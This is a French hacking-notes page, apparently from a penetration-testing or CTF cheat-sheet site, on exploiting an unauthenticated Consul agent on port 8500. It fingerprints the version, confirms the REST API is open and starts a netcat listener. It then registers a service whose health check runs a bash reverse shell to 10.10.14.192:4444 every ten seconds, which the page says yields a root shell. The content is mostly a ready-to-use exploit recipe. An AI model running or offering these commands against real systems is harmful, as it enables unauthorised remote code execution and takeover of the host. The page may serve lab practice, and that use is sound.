> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/ports-and-services/consul-8500.md).
# Consul - 8500
### Découverte du port 8500 (Consul)
Port **8500** expose l'interface web de Consul.
Après avoir interrogé `127.0.0.1:8500/ui/`, version de Consul **1.19.2** est trouvée.
```bash
curl 127.0.0.1:8500/ui/
```
#### Vérification de l'accès à l'API REST
Testez si l'API REST de Consul est accessible sans authentification :
```bash
curl http://127.0.0.1:8500/v1/agent/self
```
La réponse confirme que l'API est exposée.
### Exploitation via un check malveillant
{% embed url="" %}
Enregistrez un service avec un check malveillant qui lance un reverse shell bash :
```bash
nc -lvnp 4444
```
#### Enregistrement d'un service avec un check malveillant
Consul permet l'enregistrement dynamique de services via des requêtes HTTP. Exploitez ce comportement pour créer un check qui exécute une commande bash.
```bash
curl -X PUT http://127.0.0.1:8500/v1/agent/service/register -d '{
"Name": "pwned",
"ID": "pwned",
"Check": {
"Args": ["/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.14.192/4444 0>&1"],
"Interval": "10s"
}
}'
```
Comportement de la charge utile :
* `Check.Args[]` : contient une commande bash qui ouvre un **shell inversé**.
* `Intervalle` : définit une exécution automatique toutes les 10 secondes.
L'exécution de cette charge utile renvoie un shell root.
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